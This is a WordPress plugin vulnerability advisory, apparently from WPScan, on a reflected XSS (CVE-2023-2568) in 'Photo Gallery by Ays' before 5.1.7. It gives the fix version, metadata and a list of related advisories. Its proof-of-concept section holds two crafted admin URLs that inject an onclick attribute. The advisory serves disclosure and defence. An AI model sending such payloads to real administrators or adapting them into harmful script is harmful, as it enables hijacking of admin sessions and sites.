Photo Gallery by Ays < 5.1.7 – Reflected XSS | CVE 2023-2568 | Plugin Vulnerabilities

Description

The plugin does not escape some parameters before outputting it back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open one of the URLs below

v < 5.1.7 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery-settings&ays_gpg_tab=" accesskey=X onclick=alert(/XSS/)//
v < 5.1.6 - https://example.com/wp-admin/admin.php?page=gallery-photo-gallery&action=edit&gallery=1&ays_gpg_settings_tab=" accesskey=X onclick=alert(/XSS/)//

The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X

Affects Plugins

gallery-photo-gallery

Fixed in 5.1.7

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

b1704a12-459b-4f5d-aa2d-a96646ddaf3e

Timeline

Publicly Published

2023-05-16 (about 2 years ago)

Added

2023-05-16 (about 2 years ago)

Last Updated

2023-05-16 (about 2 years ago)

Other

Published

Title

Published

2025-09-03

Title

Cookie Notice & Consent Banner for GDPR & CCPA Compliance < 1.7.12 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-03-13

Title

Solidres <= 0.9.4 - Admin+ Stored XSS

Published

2025-04-10

Title

Terminal Africa <= 1.13.22 - Reflected Cross-Site Scripting

Published

2025-08-25

Title

WordPress HTML <= 0.51 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-01-20

Title

Media Library Categories < 2.0.0 - Admin+ Stored XSS